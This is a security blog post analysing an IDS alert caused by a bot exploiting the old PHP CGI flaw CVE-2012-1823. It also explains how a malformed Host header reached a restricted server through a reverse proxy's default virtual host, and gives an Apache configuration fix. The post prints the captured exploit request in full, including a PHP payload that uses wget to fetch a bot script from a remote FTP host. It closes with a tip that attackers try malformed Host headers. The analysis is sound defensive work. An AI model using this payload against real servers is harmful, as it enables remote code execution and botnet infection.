A few weeks ago I blogged about “The Art of Logging” and explained why it is important to log efficiently to increase changes to catch malicious activities. They are other ways to catch bad guys, especially when they make errors, after all they are humans too! But it goes the other way around too with system administrators. Last week, a customer asked me to investigate a suspicious alert reported by anÂ IDS. It looked like an restrictedÂ web server (read: which was not supposed to be publicly available!) was hit by an attack comingÂ from the wild Internet.

The attack had nothing special, it was a bot scanning for websites vulnerable to the rather old PHP CGI-BIN vulnerability (CVE-2012-1823). The initial HTTP request looked strange:

POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C% 75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F %73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F% 66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6 E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74% 3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3 D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F %69%6E%70%75%74+%2D%6E HTTP/1.1 Host: -c Content-Type: application/x-www-form-urlencoded Content-Length: 90 Oracle-ECID: 252494263338,0 ClientIP:Â xxx.xxx.xxx.xxx Chronos: aggregate SSL-Https: off Calypso-Control: H_Req,180882440,80 Surrogate-Capability: orcl="webcache/1.0 Surrogate/1.0 ESI/1.0 ESI-Inline/1.0 ESI-INV/1.0 ORAESI/9.0.4 POST-Restore/1.0" Oracle-Cache-Version: 10.1.2 Connection: Keep-Alive, Calypso-Control <? system("cd /tmp;wget ftp://xxxx:xxxx\@xxx.xxx.xxx.xxx/bot.php"); ?>

Once decoded, the HTTP query looks familiar:

POST //cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=onÂ -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -dÂ cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input â€“n

Did you see that the header ‘Host’ contains an invalid value? (‘-c’). I tried to understand this header but for me it’s a bug in the attacker’s code. The RFC2616Â covers the HTTP/1.1 protocol and more precisely how requests are formed:

$ nc blog.rootshell.be 80 GET / HTTP/1.1 Host: blog.rootshell.be

HTTP/1.1 200 OK

In the case above, the request was clearly malformed and the reverse proxy sitting in front of the web server decided to forward it to its default web server. If a reverse proxy can’t find a valid host to send the incoming requests, it will use, based on its configuration, the default one. Let’s take an Apache config:

NameVirtualHost * <VirtualHost *> DocumentRoot /siteA/ ServerName www.domainA.com </VirtualHost> <VirtualHost *> DocumentRoot /siteB/ ServerName www.domainB.com </VirtualHost>

In this example, Apache will use the first block if no other matching block is found. If we query a virtual host ‘www.domainC.com‘, we will receive the homepage of ‘www.domainA.com‘. Note that such configuration may expose sensitive data into the wild or expose a vulnerable server to the Internet. To prevent this, always add a default site withÂ an extra block on top of the configuration:

<VirtualHost *> DocumentRoot /defaultSite/ </VirtualHost>

This site can be configured as a “last resort web page” (like implemented in many load-balancers) and why not run a honeypot to collect juicy data? Conclusion: From an defender point of view, try to isolate invalidÂ queries as much as possible and log everything. From an attacker point of view, always try malformed HTTP queries, maybe you will find interesting web sites hosted on the same server!